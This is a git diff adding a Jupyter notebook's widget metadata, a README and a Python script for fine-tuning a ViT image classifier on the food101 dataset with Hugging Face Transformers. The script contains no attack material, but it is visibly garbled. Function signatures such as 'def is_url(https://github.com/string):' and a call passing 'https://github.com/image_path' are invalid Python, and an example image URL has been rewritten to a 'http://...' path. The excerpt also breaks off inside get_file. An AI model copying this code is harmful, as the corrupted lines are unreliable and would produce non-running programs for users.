+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f4bc4c6164624dcab5f8fe95e7ad5a31",
+            "placeholder": "​",
+            "style": "IPY_MODEL_4171150fd5394d4989498ce951839a96",
+            "value": "100%"
+          }
+        },
+        "4895214231854f0ab17dc98a711772b3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4cfcbd9389734994997e4f0812f018c8",
+            "max": 3,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_6fd1258d4d374358ba261425b5260740",
+            "value": 3
+          }
+        },
+        "e34ff62351d8441593698b13d46bc18e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a21b1102a4d842b394adba0a1e758a39",
+            "placeholder": "​",
+            "style": "IPY_MODEL_27ab1ed3b5dd413991017b9fecc0903c",
+            "value": " 3/3 [00:00&lt;00:00, 43.84it/s]"
+          }
+        },
+        "a66a957b6c15453c8a525bcaf2f2a805": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f4bc4c6164624dcab5f8fe95e7ad5a31": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4171150fd5394d4989498ce951839a96": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4cfcbd9389734994997e4f0812f018c8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6fd1258d4d374358ba261425b5260740": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "a21b1102a4d842b394adba0a1e758a39": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "27ab1ed3b5dd413991017b9fecc0903c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a6f5330da3834963b3a47f9f9bb6a657": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_9a0cee1fc0644c768a1e7cfc7bb65469",
+              "IPY_MODEL_c303a871150b40cf9209fc3f6da02e7d",
+              "IPY_MODEL_9422c52eef304328a65551949c4eb982"
+            ],
+            "layout": "IPY_MODEL_7834179cb085439c96b265e34ca19309"
+          }
+        },
+        "9a0cee1fc0644c768a1e7cfc7bb65469": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2e7a21ab2dfc4858bd7d43451b16a179",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9e3e30be4469468d8451dc6761d16bf6",
+            "value": "Downloading builder script: 100%"
+          }
+        },
+        "c303a871150b40cf9209fc3f6da02e7d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_343707c48e984b26a09c4adc25a510a5",
+            "max": 4203,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_444820c45f1241c59d0f7d1082e4c8d7",
+            "value": 4203
+          }
+        },
+        "9422c52eef304328a65551949c4eb982": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1933b7094ac4474abc1f48605ca4e0c4",
+            "placeholder": "​",
+            "style": "IPY_MODEL_db1683f3d8f44d4797dbc2a0f808bd2a",
+            "value": " 4.20k/4.20k [00:00&lt;00:00, 293kB/s]"
+          }
+        },
+        "7834179cb085439c96b265e34ca19309": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2e7a21ab2dfc4858bd7d43451b16a179": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9e3e30be4469468d8451dc6761d16bf6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "343707c48e984b26a09c4adc25a510a5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "444820c45f1241c59d0f7d1082e4c8d7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "1933b7094ac4474abc1f48605ca4e0c4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "db1683f3d8f44d4797dbc2a0f808bd2a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "40eaac98a5b642b28298028de5b0a8f0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_9185dd3b67964f1191210a7b104c4a88",
+              "IPY_MODEL_5280d259979548ae9b302d3bfd06a1bd",
+              "IPY_MODEL_1aa0c864c04d42329974b10668dd5eb7"
+            ],
+            "layout": "IPY_MODEL_a2699e131c4448d5bcc890f1f0c22c63"
+          }
+        },
+        "9185dd3b67964f1191210a7b104c4a88": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f40b643bece248458e3373e19f456325",
+            "placeholder": "​",
+            "style": "IPY_MODEL_dcf80cee15294d12aa9f5f2648a95028",
+            "value": "Downloading builder script: 100%"
+          }
+        },
+        "5280d259979548ae9b302d3bfd06a1bd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1d0d738bddde42df9c434fe77f5c0307",
+            "max": 6771,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_c8aeb58e12b8427bb547022d7076a38b",
+            "value": 6771
+          }
+        },
+        "1aa0c864c04d42329974b10668dd5eb7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_04e02d2b23c149389db0cb519880b175",
+            "placeholder": "​",
+            "style": "IPY_MODEL_0f67af90cad747b99865abef12dd16a9",
+            "value": " 6.77k/6.77k [00:00&lt;00:00, 270kB/s]"
+          }
+        },
+        "a2699e131c4448d5bcc890f1f0c22c63": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f40b643bece248458e3373e19f456325": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dcf80cee15294d12aa9f5f2648a95028": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1d0d738bddde42df9c434fe77f5c0307": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c8aeb58e12b8427bb547022d7076a38b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "04e02d2b23c149389db0cb519880b175": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0f67af90cad747b99865abef12dd16a9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
\ No newline at end of file
diff --git a/machine-learning/finetuning-vit-image-classification/README.md b/machine-learning/finetuning-vit-image-classification/README.md
new file mode 100644
index 00000000..faa5b872
--- /dev/null
+++ b/machine-learning/finetuning-vit-image-classification/README.md
@@ -0,0 +1 @@
+# [How to Fine Tune ViT for Image Classification using Huggingface Transformers in Python](https://www.thepythoncode.com/article/finetune-vit-for-image-classification-using-transformers-in-python)
\ No newline at end of file
diff --git a/machine-learning/finetuning-vit-image-classification/finetuning_vit_for_image_classification.py b/machine-learning/finetuning-vit-image-classification/finetuning_vit_for_image_classification.py
new file mode 100644
index 00000000..32328a9c
--- /dev/null
+++ b/machine-learning/finetuning-vit-image-classification/finetuning_vit_for_image_classification.py
@@ -0,0 +1,446 @@
+# %%
+!pip install transformers evaluate datasets
+
+# %%
+import requests
+import torch
+from PIL import Image
+from transformers import *
+from tqdm import tqdm
+
+device = "cuda" if torch.cuda.is_available() else "cpu"
+
+# %%
+# the model name
+model_name = "google/vit-base-patch16-224"
+# load the image processor
+image_processor = ViTImageProcessor.from_pretrained(model_name)
+# loading the pre-trained model
+model = ViTForImageClassification.from_pretrained(model_name).to(device)
+
+# %%
+import urllib.parse as parse
+import os
+
+# a function to determine whether a string is a URL or not
+def is_url(https://github.com/string):
+    try:
+        result = parse.urlparse(string)
+        return all([result.scheme, result.netloc, result.path])
+    except:
+        return False
+    
+# a function to load an image
+def load_image(image_path):
+    if is_url(https://github.com/image_path):
+        return Image.open(requests.get(image_path, stream=True).raw)
+    elif os.path.exists(image_path):
+        return Image.open(image_path)
+
+# %%
+def get_prediction(model, url_or_path):
+  # load the image
+  img = load_image(url_or_path)
+  # preprocessing the image
+  pixel_values = image_processor(img, return_tensors="pt")["pixel_values"].to(device)
+  # perform inference
+  output = model(pixel_values)
+  # get the label id and return the class name
+  return model.config.id2label[int(output.logits.softmax(dim=1).argmax())]
+
+# %%
+get_prediction(model, "http://images.cocodataset.org/test-stuff2017/000000000128.jpg")
+
+# %% [markdown]
+# # Loading our Dataset
+
+# %%
+from datasets import load_dataset
+
+# download & load the dataset
+ds = load_dataset("food101")
+
+# %% [markdown]
+# ## Loading a Custom Dataset using `ImageFolder`
+# Run the three below cells to load a custom dataset (that's not in the Hub) using `ImageFolder`
+
+# %%
+import requests
+from tqdm import tqdm
+
+def get_file(url):
+  response = requests.get(url, stream=True)
+  total_size = int(response.headers.get('content-length', 0))
+  filename = None
+  content_disposition = response.headers.get('content-disposition')
+  if content_disposition:
+      parts = content_disposition.split(';')
+      for part in parts:
